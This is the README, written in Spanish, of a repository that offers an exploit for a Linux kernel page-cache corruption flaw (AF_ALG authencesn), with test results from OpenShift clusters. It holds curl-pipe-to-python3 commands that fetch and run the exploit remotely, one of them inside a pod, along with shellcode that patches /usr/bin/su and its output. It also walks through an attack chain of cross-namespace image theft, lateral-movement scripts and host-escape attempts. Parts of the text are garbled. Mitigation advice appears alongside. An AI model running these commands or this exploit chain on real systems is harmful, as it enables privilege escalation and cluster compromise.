
Exploit para el kernel de Linux CVE-2026-31431 que provoca corrupción de la caché de páginas mediante la manipulación de authencesn AEAD, dirigido a la escalada de privilegios en contenedores y entornos OpenShift.
Corrupción de la caché de páginas del kernel de Linux mediante manipulación de AEAD authencesn.
Después de pruebas exhaustivas en múltiples clústeres OpenShift 4.20.16 con kernels RHEL 9.6:
Consulte la sección Resultados de Pruebas Exhaustivas para obtener detalles completos.
CVE-2026-31431 es una vulnerabilidad del kernel de Linux en la implementación criptográfica AEAD authencesn que permite a procesos sin privilegios corromper la caché de páginas de archivos legibles mediante sockets AF_ALG y manipulación de la llamada al sistema splice().
Las pruebas muestran: La corrupción de la caché de páginas funciona de manera confiable, pero la escalada de privilegios NO ocurre en kernels RHEL 9.6 en nuestros entornos de prueba.
Puntuación CVSS: 7.8 (Alta)
Afectados: Versiones del kernel de Linux con soporte authencesn (2017-2026)
Divulgación Pública: 29 de abril de 2026
splice() mediante ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Desde Archivo Local```bash
python3 exploit.py
su
Lo que SÍ ocurrirá:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Verificación de caché de página (confirma corrupción):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Lo que NO sucederá (según las pruebas):```bash
su
id -u
**Conclusión:** La corrupción de la caché de páginas tiene éxito, pero la escalada de privilegios falla.
## Detalles Técnicos
### Vulnerabilidad
La implementación de `authencesn` (Cifrado Autenticado con Datos Asociados - Número de Secuencia Extendido) del kernel de Linux tiene una falla en su manejo de operaciones in-place. Al procesar operaciones AEAD enviadas a través de un socket AF_ALG, una página de la caché de páginas puede terminar en la lista de dispersión (scatterlist) de destino escribible del kernel.
### Técnica de Explotación
1. **Crear socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parámetros AEAD** (clave, authsize)
3. **Abrir binario setuid objetivo** (p. ej., `/usr/bin/su`)
4. **Usar splice()** para llevar el binario a la caché de páginas
5. **Desencadenar operación AEAD in-place** que causa escritura en la caché de páginas
6. **Escribir shellcode** 4 bytes a la vez
7. **Ejecutar binario modificado** para obtener root
### Shellcode
El exploit usa un shellcode de 160 bytes que parchea `/usr/bin/su` para:
- Omitir la autenticación de contraseña
- Otorgar acceso a una shell root
- Mantener la funcionalidad normal para usuarios sin privilegios
## Compatibilidad con Python 3.9
Python 3.9 y versiones anteriores no tienen `os.splice()` en la biblioteca estándar. Este exploit incluye una implementación basada en ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Esto hace que el exploit funcione en:
Configuración del Nodo:
Resultados de las Pruebas:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Entorno de Prueba 2: Clúster OpenShift Nuevo (Prueba de Verificación)
**Clúster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuración del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idéntico a la Prueba 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (espacio de nombres de usuario)
- Capacidades: 0x0000000000000000 (CERO)
**Resultados de la Prueba:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Consistencia: Resultados 100% reproducibles en clústeres independientes
Escenario A: Con volumen hostPath (Escape de contenedor posible)```yaml volumes:
Resultado: ✅ **Escape del contenedor** - modifica la caché de páginas del host (Dispositivo 33, Inodo 4288)
**Escenario B: SCC restringido-v2 (sin hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Resultado: ❌ Sin escape de contenedor - solo afecta al overlay del contenedor (inodo separado)
Hallazgo crítico: el acceso a hostPath (no las capacidades) es el factor determinante para el escape de contenedor.
Explicaciones posibles (requiere investigación adicional):
Rutas de código de lectura vs. ejecución
mmap(PROT_READ)mmap(PROT_EXEC) pueden omitir la caché corruptaProtecciones de memoria
Específico de la versión del kernel
| Prueba | OpenShift 4.20 #1 | OpenShift 4.20 #2 | Estado |
|---|---|---|---|
| Acceso al socket AF_ALG | ✅ | ✅ | Funciona |
| Corrupción de la caché de páginas | ✅ | ✅ | Funciona |
| Inyección de shellcode | ✅ | ✅ | Funciona |
| Shellcode visible (READ) | ✅ | ✅ | Funciona |
| Cambio de UID (escalada de privilegios) | ❌ | ❌ | Falla |
| Ejecución de código | ❌ | ❌ | Falla |
| Escape de contenedor (restricted-v2) | ❌ | ❌ | Bloqueado |
Conclusión: La vulnerabilidad del kernel es real (la corrupción de la caché de páginas está demostrada), pero la explotación práctica es limitada.
| Sistema | Kernel | Corrupción de la caché de páginas | Escalada de privilegios | Notas |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ SÍ | ❌ NO | Workers de OpenShift 4.20.16 |
| Contenedores OpenShift 4.20 | 5.14.0-570.96.1.el9_6 | ✅ SÍ | ❌ NO | SCC restricted-v2 |
Nota: Las pruebas se limitaron a kernels RHEL 9.6. El comportamiento en otras distribuciones/versiones no está verificado.
Probado con éxito en un clúster OpenShift 4.20 que ejecuta RHEL CoreOS 9.4. Esta sección documenta la omisión del aislamiento de namespace y el compromiso del contenedor.
⚠️ Corrección importante: Las pruebas iniciales afirmaron incorrectamente acceso al sistema de archivos del host mediante /proc/1/root. Esto fue incorrecto - /proc/1/root en un contenedor aislado apunta al sistema de archivos del propio contenedor, no al host del nodo worker de OpenShift. Consulte attacks/README.md para un análisis detallado.
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### Fase 1: Bypass de aislamiento de namespace
**Vulnerabilidad:** El registro interno de OpenShift permite extracciones de imágenes entre namespaces sin una aplicación adecuada de RBAC.
**Explotación:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
Resultado:
openshift/cli extraída del namespace openshiftImpacto: Permite movimiento lateral entre tenants y acceso a herramientas privilegiadas.
Despliegue:```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**Resultado:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
Capacidades después de la explotación:
Verificación de la realidad - /proc/1/root NO es el host:```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**Detalles del sistema operativo del contenedor:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
Scripts creados en el contenedor (disponibles en el directorio attacks/):
1. Reconocimiento del contenedor (recon.sh - 1425 bytes)
2. Script de movimiento lateral (lateral.sh - 1754 bytes)
3. Intentos fallidos de explotación del host
host-rootkit.py - Intenta colocar una puerta trasera en /proc/1/root/usr/bin/su
modprobe-escape.py - Intenta escapar mediante módulos del kernel
trigger-rootkit.sh - Activa el su con puerta trasera
Consulta attacks/README.md para un análisis completo de lo que funcionó frente a lo que no.
Prueba de conectividad:```bash
curl -s https://www.google.com
**Oportunidades de Movimiento Lateral:**
- ✅ Acceso total a internet (descarga de herramientas, comunicación C2, exfiltración)
- ✅ Acceso a API internas (enumerar recursos del clúster)
- ✅ Acceso al registro interno (ataques de envenenamiento de imágenes)
- ✅ Escaneo entre nodos a través de la red de pods
### Técnicas de Escape de Host Bloqueadas
Estas técnicas se intentaron pero fueron bloqueadas por los controles de seguridad de OpenShift:
**1. nsenter (el namespace de usuario lo impide)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot (Requiere CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash
**3. Carga de módulos del kernel (Sin capacidades + endurecimiento de RHCOS)**
- No hay binarios `insmod`, `modprobe`, `kmod` en RHCOS
- `/lib/modules` está vacío (SO optimizado para contenedores)
- `CAP_SYS_MODULE` no está disponible
- `/proc/sys/kernel/modprobe` está montado como solo lectura
**4. cgroup release_agent (Montado como solo lectura)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. Manipulación de /proc/sys (sistema de archivos de solo lectura)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### Lo Que Realmente Logramos
✅ **Bypass de Aislamiento de Namespace**
- Extracción de imágenes entre namespaces desde el registro interno
- Acceso a imágenes de contenedores privilegiados (openshift/cli)
✅ **Corrupción de Page Cache en el Contenedor**
- Modificación del page cache de `/usr/bin/su` del contenedor mediante CVE-2026-31431
- Inyección de shellcode de 160 bytes confirmada (visible en hexdump)
- La corrupción afecta a las operaciones de LECTURA en archivos del contenedor
✅ **Acceso a Red desde el Pod**
- Conectividad total a Internet (exfiltración, C2, descarga de herramientas)
- Acceso al servidor API interno (limitado por RBAC)
- Acceso al registro interno (potencial de envenenamiento de imágenes)
- Escaneo entre pods mediante la red de pods
❌ **Escalada de Privilegios - FALLIDA**
- Page cache corrupto pero SIN acceso root
- UID permanece sin cambios (UID de user namespace ~1000000+)
- No se pueden ejecutar operaciones privilegiadas
- Sin acceso a /etc/shadow u otros archivos restringidos
❌ **Acceso al Sistema de Archivos del Host - FALLIDO**
- `/proc/1/root` apunta a la raíz del **contenedor**, NO al host
- Sin acceso real al sistema de archivos del nodo worker de OpenShift
- Scripts desplegados en `/tmp` del contenedor, no en `/tmp` del host
- El aislamiento de dispositivo/Inode impide el acceso al page cache del host
❌ **Escape Completo del Host - BLOQUEADO**
- El aislamiento de user namespace es efectivo
- Cero capacidades impiden nsenter/chroot/acceso al host
- SCC bloquea la creación de pods privilegiados
- El endurecimiento de RHCOS impide la carga de módulos
- restricted-v2 impide el escape del contenedor
### Evaluación de Seguridad de OpenShift
**Controles que Funcionaron ✅**
- Security Context Constraints (SCC) - Impedieron el escape del contenedor
- User Namespaces - Aislaron el page cache al overlay del contenedor
- Cero Capacidades - Impidieron el acceso al host a pesar del exploit del kernel
- Cumplimiento de SELinux - Se mantuvo el aislamiento del contenedor
- /proc/sys de solo lectura - Bloquearon intentos de manipulación del kernel
- Endurecimiento de RHCOS - Sin capacidad de carga de módulos
**Controles que Funcionaron Parcialmente ⚠️**
- Seccomp RuntimeDefault - Activo pero permite sockets AF_ALG
- Eliminación de Capacidades - Efectiva pero no impide la corrupción del page cache
**Controles que Fallaron ❌**
- RBAC de Namespace - Se permitió la extracción de imágenes entre namespaces
- Protección del Kernel - Interfaz AF_ALG accesible desde contenedores
- Filtrado de Syscalls - splice() no restringido por seccomp predeterminado
**Evaluación General:**
Si bien CVE-2026-31431 es una vulnerabilidad real del kernel, el enfoque de defensa en profundidad de OpenShift (SCC + user namespaces + eliminación de capacidades + aislamiento del sistema de archivos) impidió una explotación significativa. El exploit corrompe el page cache pero NO logra escalada de privilegios ni escape del contenedor desde pods restricted-v2.
### Recomendaciones para OpenShift
**1. Bloquear Sockets AF_ALG**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. Aplicar RBAC del registro de imágenes```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. Perfil Seccomp Mejorado**
Bloquear syscalls peligrosas:
- `socket(AF_ALG, ...)` - Familia 38
- Restringir `splice()` a descriptores de archivo de confianza
- Bloquear `init_module`, `finit_module` si no están ya bloqueados
**4. Monitoreo en Tiempo de Ejecución**
Alertar sobre:
- Creación de sockets AF_ALG en contenedores
- Extracciones de imágenes entre namespaces
- Patrones sospechosos de syscall `splice()`
- Indicadores de compromiso de contenedores (procesos root inesperados)
### Documentación Completa del Ataque
Para documentación completa de la cadena de ataque, incluyendo:
- Cronología de la explotación
- Mapeos MITRE ATT&CK
- Análisis técnico detallado
- Todos los scripts de reconocimiento
Ver:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Análisis detallado de lo que funcionó vs. lo que no
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentación original (contiene errores; ver attacks/README.md para correcciones)
## Mitigaciones
### Inmediatas```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
Bloquear la creación de sockets AF_ALG:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### Parche del kernel
Aplica los parches del proveedor:
- Red Hat: Monitorea https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ con authencesn revertido a operaciones fuera de lugar
## Preguntas frecuentes
### P: ¿Este exploit me da acceso root?
**R:** NO - Según pruebas exhaustivas en kernels RHEL 9.6 (5.14.0-570.96.1), el exploit corrompe con éxito la caché de páginas del kernel pero NO logra escalada de privilegios. El UID permanece sin cambios después de ejecutar el binario con puerta trasera.
### P: ¿Puedo escapar de un contenedor restringido de Kubernetes/OpenShift?
**R:** NO (con SCC restricted-v2) - La corrupción de la caché de páginas se aísla al sistema de archivos overlay del contenedor. El escape del contenedor requiere acceso a recursos compartidos del host mediante hostPath o volúmenes similares. El SCC restricted-v2 previene eficazmente el escape al bloquear el acceso a recursos del host.
### P: ¿Por qué el exploit afirma "root" pero las pruebas muestran que no funciona?
**R:** El código del exploit se escribió basándose en la divulgación del CVE y el análisis teórico. Nuestras pruebas en el mundo real con kernels RHEL 9.6 revelaron:
- La corrupción de la caché de páginas funciona ✅ (probado mediante hexdump)
- La ejecución de código desde la caché corrupta NO funciona ❌ (UID sin cambios)
Esto puede deberse a:
- Diferencias en la versión del kernel (RHEL 9.6 puede tener protecciones)
- Aplicación de la protección de memoria W^X
- Rutas de código diferentes para ejecución vs. lectura de memoria
### P: ¿Funciona en TODOS los kernels de Linux?
**R:** DESCONOCIDO - Las pruebas se limitaron a:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- Nodos worker de OpenShift 4.20.16
El comportamiento en otras distribuciones/versiones de kernel NO se ha verificado. Las condiciones de investigación del CVE original pueden diferir.
### P: ¿Debería parchear mis sistemas de todos modos?
**R:** SÍ - Absolutamente. Aunque no se logró la escalada de privilegios:
1. La vulnerabilidad del kernel ES real (corrupción de caché de páginas confirmada)
2. El comportamiento PUEDE diferir en otras versiones de kernel
3. Con volúmenes hostPath, el escape del contenedor ES posible
4. La defensa en profundidad requiere eliminar todas las vulnerabilidades
5. Investigaciones futuras podrían descubrir formas de lograr la ejecución de código
El parcheo del kernel es obligatorio para la seguridad.
### P: ¿Qué probó realmente en sus pruebas?
**R:** Nuestras pruebas exhaustivas en 2 clústeres OpenShift independientes demostraron:
✅ **Confirmado:**
- La vulnerabilidad del kernel CVE-2026-31431 es explotable
- La caché de páginas puede corromperse desde contenedores sin privilegios (capacidades cero)
- La interfaz AF_ALG es accesible a pesar del SCC restricted-v2
- La inyección de shellcode tiene éxito (visible en hexdump)
❌ **NO Funcionó:**
- Escalada de privilegios (UID sin cambios)
- Ejecución de código desde la caché de páginas corrupta
- Escape del contenedor desde pods restricted-v2
- Acceso al sistema de archivos del host sin hostPath
🛡️ **Defensa en profundidad efectiva:**
- SCC + namespaces de usuario + eliminación de capacidades impidieron la explotación
- Múltiples capas de seguridad limitaron el radio de explosión
- El aislamiento del contenedor se mantuvo a pesar de la vulnerabilidad del kernel
## Aviso de seguridad
Este repositorio documenta una vulnerabilidad del kernel para:
- ✅ Pruebas e investigación de seguridad autorizadas
- ✅ Validación y análisis de vulnerabilidades
- ✅ Concienciación y educación en seguridad
- ✅ Desarrollo de medidas defensivas
**Hallazgos basados en:**
- Pruebas controladas en sistemas autorizados
- Múltiples entornos de clúster independientes
- Verificación exhaustiva y pruebas de reproducibilidad
**NO lo use en sistemas sin autorización explícita.**
## Referencias
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgación:** https://copy.fail
- **Parche del kernel:** Commit del kernel de Linux (1 de abril de 2026)
- **Aviso de Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431
## Créditos
- **Descubrimiento del CVE:** Taeyang Lee (Theori)
- **Análisis original:** Xint Code Research Team
- **Implementación del exploit:** Sean Rickerd
- **Pruebas y validación exhaustivas:** Sean Rickerd
- 2 clústeres OpenShift 4.20.16 independientes
- Kernel RHEL CoreOS 9.6 5.14.0-570.96.1
- Comportamiento real vs. reclamado documentado
- Efectividad del SCC restricted-v2 verificada
## Licencia
Solo para pruebas e investigación de seguridad autorizadas. Úselo bajo su propio riesgo.
---
**Estado del repositorio:** Actualizado con resultados de pruebas en el mundo real (1 de mayo de 2026)
**Pruebas:** Completadas en 2 clústeres OpenShift independientes
**Hallazgo clave:** Corrupción de caché de páginas confirmada, escalada de privilegios NO lograda
**Recomendación:** Parchee el kernel a pesar de la explotación práctica limitada